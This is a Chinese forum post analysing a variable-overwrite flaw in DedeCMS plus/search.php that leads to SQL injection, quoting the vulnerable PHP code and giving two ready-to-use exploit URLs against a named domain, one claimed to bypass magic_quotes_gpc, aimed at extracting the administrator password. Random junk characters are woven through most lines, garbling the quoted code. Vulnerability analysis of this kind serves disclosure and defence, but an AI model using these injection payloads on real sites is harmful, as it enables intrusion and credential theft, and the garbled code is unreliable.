微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
8 }9 s! G$ Z! a4 }作者: c4rp3nt3r@0x50sec.org
! B) e# Y# j1 t! ^- v% m! \! |" ZDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
0 o' Z0 @8 X0 S/ { * p C- A! p' J. L
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
: H" k3 U1 R1 [7 _7 ] % \5 X; t4 d2 @0 k
============3 B9 e9 p6 Q2 u1 `) L9 @
, I7 a1 k8 B5 c7 e7 \
( \0 K3 k8 r% q! gDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.5 K9 V2 }& y& O5 F% a
% O) q& A2 U& B) h, H" m6 ?
require_once(dirname(__FILE__).”/../include/common.inc.php”);4 r9 G2 ?7 R# l4 N
require_once(DEDEINC.”/arc.searchview.class.php”);
8 N6 V$ C# G1 f 9 ?' P0 h; N, O. w
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
7 J9 ]0 t* P* ^, W2 j$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$ O" f* K# u5 k$ S8 Z$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;+ I/ O( M% i: @4 f5 Q
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
" u) t* K6 S) W! q$ A- r2 ~$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;4 Q; U: x: s& V; U/ R0 X3 S* W5 ^
* G3 H! R% t& S2 M! dif(!isset($orderby)) $orderby=”;' I, h' Q2 A! w7 Y' t
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
6 d, C9 l) b% A* g5 Y9 [, Z 1 r% ?' C! M6 ], u( V0 H. x
5 i! B" y1 P5 F+ Oif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
- `8 |, s' l2 p) K+ G9 eelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);' Z4 }, s4 ~- H$ v9 A h
! j6 j# Z& Z, |* tif(!isset($keyword)){& u* i9 M3 Q) Q$ m3 H
if(!isset($q)) $q = ”;
* h# Q- M$ H. [* J: g $keyword=$q;
2 m+ P( X1 @1 ?+ H}. A; E- z* ~1 U2 N$ s$ e
' B( M2 k, r$ Q# ?, `7 A$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
" Z# ` n( j3 t
0 I; `' g$ i: a, d( O4 h7 W6 Z//查找栏目信息
; Q4 a4 n" P& s, @/ M% v+ Jif(empty($typeid))
, `+ R7 m ^: K, `1 H% x6 P{
' `7 Q* F$ Y. L $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
: h; Q' b* Q: \* T if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )% Y T) i$ V; |- x/ Q4 s) f* @* y
{
8 t7 L/ H' E; u) N* N% v1 E5 [6 L- n $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
$ B- c2 t9 z3 ?% Y. p0 T$ b+ O% Z' Y! { fwrite($fp, “<”.”?php\r\n”);
6 G3 k3 v1 U1 X7 m! U8 {5 ^ $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);) V$ j l9 ^: Z/ X: r7 E" F' \
$dsql->Execute();
* R/ @5 H# l/ B1 h while($row = $dsql->GetArray())% @: B; W' V1 P( ^4 ]: F
{, W7 { o3 D$ M8 U& ?2 B# `2 t- D
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
) N3 C Q+ j) C( g. w9 H+ t) {, T }
/ c+ A* u0 L& D" p. s fwrite($fp, ‘?’.'>’);: B% N: _! L; R0 L
fclose($fp);
1 C/ y5 Y) b3 B# @4 H! Q2 r" [" @ }
, t5 ^) R: t, k5 i; @1 p //引入栏目缓存并看关键字是否有相关栏目内容
7 w* a2 U- g" j: e require_once($typenameCacheFile);
; i6 B$ N8 {( F* o. |3 D! f//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
8 M- R' I: V3 x2 J# Y2 {9 ?) \3 C//+ \. j5 @, i' J8 z% F
if(isset($typeArr) && is_array($typeArr))) Y' r# k9 a+ y+ i/ t; U4 Y- v0 n
{( R# d+ S! l; }' Q. ?9 }- P
foreach($typeArr as $id=>$typename)$ U/ x% ]. F3 X0 E- x+ G. k; J1 b
{; B3 c: y" h* G$ i
0 v6 e+ y% H6 g' D! d% F
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
9 [& Q) d4 N# M1 h* t if($keyword != $keywordn)
8 U, R9 i% ?( t {
9 u p& A/ q$ P. a9 o2 b $keyword = $keywordn;
6 F# [$ E3 e- \3 A" M& W( |- y0 b <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
6 w1 U6 m+ b5 a* k* J0 B; \ break;% C/ N/ P; J( K
}) L! J7 W( o. e. f2 R9 s( P' o
}
- k3 A0 |+ _2 Y3 S( ]# H j; K( d }
7 ~# G' |& M+ l6 U$ A/ \0 {: z}- L+ n2 j4 @+ A% R1 H h' b! Z: d
然后plus/search.php文件下面定义了一个 Search类的对象 .
2 X n+ S5 F. q4 W- l- h9 }' k& \在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.( S! l7 ^) C- ^
$this->TypeLink = new TypeLink($typeid);) p. H8 L: m; O7 U
% t+ F5 [, T' BTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
& P; D/ V' {; b0 e
" O8 a* c% W* }* hclass TypeLink
% _8 C4 }1 E( r$ W$ ]5 Q2 U{
3 s& z9 w* O& Y4 x2 a- } var $typeDir;& O6 P2 ?9 j3 C) l
var $dsql;7 ]# X" W l9 A
var $TypeID;
( t. N; U5 s2 ?/ P& d) y var $baseDir;
# J7 i8 w# ^, q# z, j var $modDir;1 S: u0 h7 \, }2 H- J+ I
var $indexUrl;
% x A' m& s) _1 m& H+ O/ l+ y var $indexName;. J, o- `+ G; [" T7 l1 X
var $TypeInfos;$ ]( l$ L2 ~9 ^
var $SplitSymbol;4 F* L) v4 A# {! _
var $valuePosition;! w5 k; ^; K/ }0 j6 T0 K
var $valuePositionName;7 R7 |2 H* J: V
var $OptionArrayList;//构造函数///////
& G u- K) F& J //php5构造函数& D. f' y# R4 W2 _! x0 i
function __construct($typeid)
1 s1 s- f% |7 P c8 B# x {
6 m) v) t7 Z1 q; Q5 \! z $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];1 z1 t; Q; v: M% |( Q" e3 i
$this->indexName = $GLOBALS['cfg_indexname'];, z$ |& A& X3 I; ^- ~ ]4 R* H
$this->baseDir = $GLOBALS['cfg_basedir'];" ~; |# c* |; I6 U, E
$this->modDir = $GLOBALS['cfg_templets_dir'];# V) h* v4 F* Y9 X! Y: e4 {: g
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
" Q% u7 r& A- Y b. }- R+ d( ? $this->dsql = $GLOBALS['dsql'];
3 g) U/ L! ]7 o/ F' s# } $this->TypeID = $typeid;+ ]' N0 I6 Y% u; }
$this->valuePosition = ”;# J' u2 p/ S7 f3 ]2 e/ _7 D8 Q I
$this->valuePositionName = ”;, Q+ p8 W6 G! D' u
$this->typeDir = ”;' g _& {5 y$ p6 S
$this->OptionArrayList = ”;$ ~- O% J4 I5 a* l
: Q) ?7 g5 s, u1 N0 U& o( @. e
//载入类目信息
5 u7 Y+ I1 J# F1 Q ) n' f' Z) B9 d. K0 E
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
* R- N# O1 f# O* e* x# Octypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join% l1 g) H0 O5 Q9 j
`#@__channeltype` ch! e% ]0 A% [' }1 `9 {
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿) `' C5 f' |6 x7 j* o% v8 `
* h2 N2 ], V1 @/ [ P
if($typeid > 0)
* E( ^( t/ g/ l% @, O {
6 j u7 z/ X8 Y% \- Q $this->TypeInfos = $this->dsql->GetOne($query);# @! A& |( K& F4 e$ h- Y- P- D
利用代码一 需要 即使magic_quotes_gpc = Off
* i4 y% H2 K. o3 C, y5 u ! y* R$ D# s! A
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title% y6 f, d: T+ K( H" s0 \
% i, O# a9 N2 j% G0 K9 ~
这只是其中一个利用代码… Search 类的构造函数再往下
! T8 c2 x: h* ` 5 i4 U4 I/ C+ ^% l! L4 Y* A7 V
……省略. _9 O$ J2 Y V6 L. v
$this->TypeID = $typeid;
. [2 F4 T$ F( e1 Y2 F……省略
6 O M x# S* j) X( Uif($this->TypeID==”0″){, c* j+ A3 X4 Y1 o' l% l
$this->ChannelTypeid=1;3 d+ a) |$ ?9 {$ I: K, [) {
}else{* y `: _/ k- t& o& K/ X: O1 Y
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲9 a: o- I2 i6 j. r- @" d
//现在不鸡肋了吧亲…- i Z# [4 [% i
$this->ChannelTypeid=$row['channeltype'];
1 f: z9 T6 b( O8 V ' D+ c/ W6 [7 ], ]0 `
}: T* [( L/ q5 ^. D% H+ A2 n
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
5 Y/ z# P8 X4 r @ , X0 f) ^' P% i
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
: V6 C3 e; D- n% X6 P, @: X; g
7 |2 u' X, p( E5 K2 d8 S/ U如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
' d) q4 w7 o# M0 F6 ]4 F |